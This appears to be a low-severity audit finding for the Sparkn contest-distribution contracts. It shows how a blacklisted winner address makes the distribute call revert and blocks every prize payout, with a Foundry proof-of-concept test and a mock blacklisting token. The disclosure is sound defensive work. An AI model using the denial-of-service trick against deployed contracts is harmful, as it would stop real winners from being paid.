Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: low
Valid

Winners will not be able to receive funds because of blacklisted address

Summary

Blacklisted address will cause distribute funtion to revert. This prevents other winners from receiving their prizes.

Vulnerability Details

In ProxyFactory.sol organizer is supposed to call deployProxyAndDistribute function with bytes calldata data parameter containing all winners for contest. deployProxyAndDistribute function calls internal _distribute function which calls coresponding proxy with data bytes. It is possible for blacklisted address (which are prohibited from receiving / transfering tokens) to be included in that array causing function to revert and preventing other users from receiving their prizes. Removing that user from an array will eliminate blacklisted user from receiving their payout, also it causes distribute function to revert due to percentage inequality. Then precentrages must be fixed but it still leaves blacklisted user with no prize.

if (totalPercentage != (10000 - COMMISSION_FEE)) {
revert Distributor__MismatchedPercentages();
}

POC

Copy the code and paste it in test folder

//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {ProxyFactory} from "../src/ProxyFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {MockERC20Blacklisted} from "./mock/MockERC20Blacklisted.sol";
contract TestPoc is Test {
ProxyFactory public proxyFactory;
Distributor public distributor;
MockERC20Blacklisted public token;
address public sponsor;
address public organizer;
address public user;
address public user2;
address public user3;
uint256 tokenAmount = 1_000_000 * 1e18;
uint256 tokenAmountAfterPayout = 950_000 * 1e18;
function setUp() public {
sponsor = address(2);
organizer = address(3);
user = address(4);
user2 = address(5);
user3 = address(6);
token = new MockERC20Blacklisted("Test", "TST");
token.mint(sponsor, tokenAmount);
address[] memory whitelisted = new address[](1);
whitelisted[0] = address(token);
proxyFactory = new ProxyFactory(whitelisted);
distributor = new Distributor(address(proxyFactory), address(1));
// user3 is getting blacklisted
token.addToBlackList(user3);
}
function testSetUp() public {
assertTrue(address(token) != address(0));
assertEq(token.balanceOf(sponsor), tokenAmount);
assertTrue(address(proxyFactory) != address(0));
assertEq(proxyFactory.whitelistedTokens(address(token)), true);
assertTrue(address(distributor) != address(0));
(address factory, address feeAddress,,) = distributor.getConstants();
assertEq(address(proxyFactory), factory);
assertEq(address(1), feeAddress);
assertEq(sponsor, address(2));
assertEq(organizer, address(3));
assertEq(user, address(4));
assertEq(token.isBlacklisted(user3), true);
}
function testBlacklistedUser() public {
// get address of the contest proxy
address proxyContestAddress = proxyFactory.getProxyAddress(_calculateSalt(organizer, bytes32("1"), address(distributor)), address(distributor));
// transfer tokens to contest proxy
vm.prank(sponsor);
token.transfer(proxyContestAddress, tokenAmount);
assertEq(token.balanceOf(proxyContestAddress), tokenAmount);
proxyFactory.setContest(organizer, bytes32("1"), block.timestamp + 1, address(distributor));
// increase time to be able to call deployProxyAndDistribute after close time is over
skip(10);
// create data with blacklisted user
bytes memory data = createData();
// call deployProxyAndDistribute by malicious organizer
vm.startPrank(organizer);
vm.expectRevert();
proxyFactory.deployProxyAndDistribute(bytes32("1"), address(distributor), data);
vm.stopPrank();
console.log("--------------------------------------");
console.log("Users balances:");
console.log("User 1 balance", token.balanceOf(user));
console.log("User 2 balance", token.balanceOf(user2));
console.log("User 3 balance", token.balanceOf(user3));
console.log("Is user 3 blacklisted:", token.isBlacklisted(user3));
}
function createData() public view returns (bytes memory data) {
address[] memory winners = new address[](3);
winners[0] = user;
winners[1] = user2;
winners[2] = user3;
uint256[] memory percentages_ = new uint256[](3);
percentages_[0] = 4500;
percentages_[1] = 3000;
percentages_[2] = 2000;
data = abi.encodeWithSelector(Distributor.distribute.selector, address(token), winners, percentages_, "");
}
function _calculateSalt(address _organizer, bytes32 _contestId, address _implementation)
internal
pure
returns (bytes32)
{
return keccak256(abi.encode(_organizer, _contestId, _implementation));
}
}

MockERC20Blacklisted trying to mock blacklisting mechanism

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {ERC20} from "openzeppelin/token/ERC20/ERC20.sol";
import {Ownable} from "openzeppelin/access/Ownable.sol";
contract MockERC20Blacklisted is ERC20, Ownable {
error MockERC20Blacklisted__AmountMustBeMoreThanZero();
error MockERC20Blacklisted__BlacklistAddress();
mapping(address => bool) public isBlacklisted;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 100000 * 10 ** decimals());
}
function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
if (_amount == 0) {
revert MockERC20Blacklisted__AmountMustBeMoreThanZero();
}
_mint(_to, _amount);
return true;
}
function _beforeTokenTransfer(
address from,
address to,
uint256
) internal virtual override {
if (isBlacklisted[from] == true || isBlacklisted[to] == true) {
revert MockERC20Blacklisted__BlacklistAddress();
}
}
function addToBlackList(address _blacklistedAddress) public onlyOwner {
isBlacklisted[_blacklistedAddress] = true;
}
}

Impact

This issue can cause DoS or prevent user from receiving his prize.

Tools Used

VScode, Foundry

Recommendations

Implement check mechanism to ensure that all of the users (supporters) are allowed to receive prize in desired token. If not allow user to provide other address.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!